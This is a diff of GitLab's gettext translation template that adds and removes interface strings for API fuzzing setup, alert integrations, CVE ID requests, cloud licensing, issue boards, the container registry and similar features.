msgstr ""
msgid "%{hook_type} was deleted"
@@ -930,6 +938,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1063,6 +1074,9 @@ msgstr[1] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1143,6 +1157,11 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1163,6 +1182,16 @@ msgid_plural "%d hours"
msgstr[0] ""
msgstr[1] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1173,6 +1202,11 @@ msgid_plural "%d minutes"
msgstr[0] ""
msgstr[1] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1198,6 +1232,16 @@ msgid_plural "%{num} users"
msgstr[0] ""
msgstr[1] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1315,9 +1359,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1327,13 +1368,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1408,9 +1446,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1429,13 +1464,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1447,6 +1494,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1459,16 +1509,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1477,16 +1530,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1519,9 +1572,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1699,6 +1749,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1729,11 +1782,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1779,6 +1827,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1854,6 +1905,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1881,9 +1935,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -1911,6 +1962,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -1929,6 +1983,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2022,6 +2079,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2049,6 +2109,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2190,9 +2253,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2628,6 +2688,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2675,6 +2741,9 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2837,6 +2906,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2852,13 +2927,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2867,25 +2945,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2900,24 +2981,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2927,6 +3020,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2936,9 +3032,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2975,7 +3068,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3065,9 +3161,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3131,6 +3224,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3158,6 +3254,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3215,6 +3314,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3338,6 +3440,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3350,9 +3455,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3443,7 +3545,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3581,9 +3683,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3785,6 +3884,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3808,6 +3910,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3817,6 +3922,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3826,9 +3934,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3966,6 +4071,12 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
msgstr[1] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4026,6 +4137,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4068,13 +4185,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4501,6 +4618,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4603,6 +4723,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4621,6 +4744,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4645,7 +4771,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4779,6 +4905,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4809,6 +4938,11 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4818,9 +4952,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4839,6 +4970,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4848,6 +4982,11 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4860,6 +4999,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4890,6 +5038,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5196,15 +5347,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5223,6 +5365,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5312,6 +5460,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5408,6 +5577,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5528,6 +5700,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5555,6 +5730,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5564,12 +5742,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6212,6 +6396,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6245,6 +6432,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6278,9 +6507,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6299,12 +6525,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6854,6 +7089,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7561,6 +7799,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7624,6 +7865,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7909,6 +8153,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -7937,9 +8184,6 @@ msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8024,6 +8268,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8042,6 +8289,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8107,6 +8357,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8329,6 +8582,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8374,9 +8630,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8434,9 +8687,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8491,12 +8753,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8530,6 +8801,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8539,17 +8813,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8694,9 +8966,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8718,6 +8987,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8871,6 +9143,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8934,6 +9209,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9236,8 +9514,10 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9332,6 +9612,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
